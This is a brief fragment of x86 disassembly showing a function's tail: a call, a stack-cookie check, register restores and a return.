jne 0x4069a7
push ecx
push dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, ebx
call fcn.00418db0
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004313c0
mov esp, ebp
pop ebp
ret 4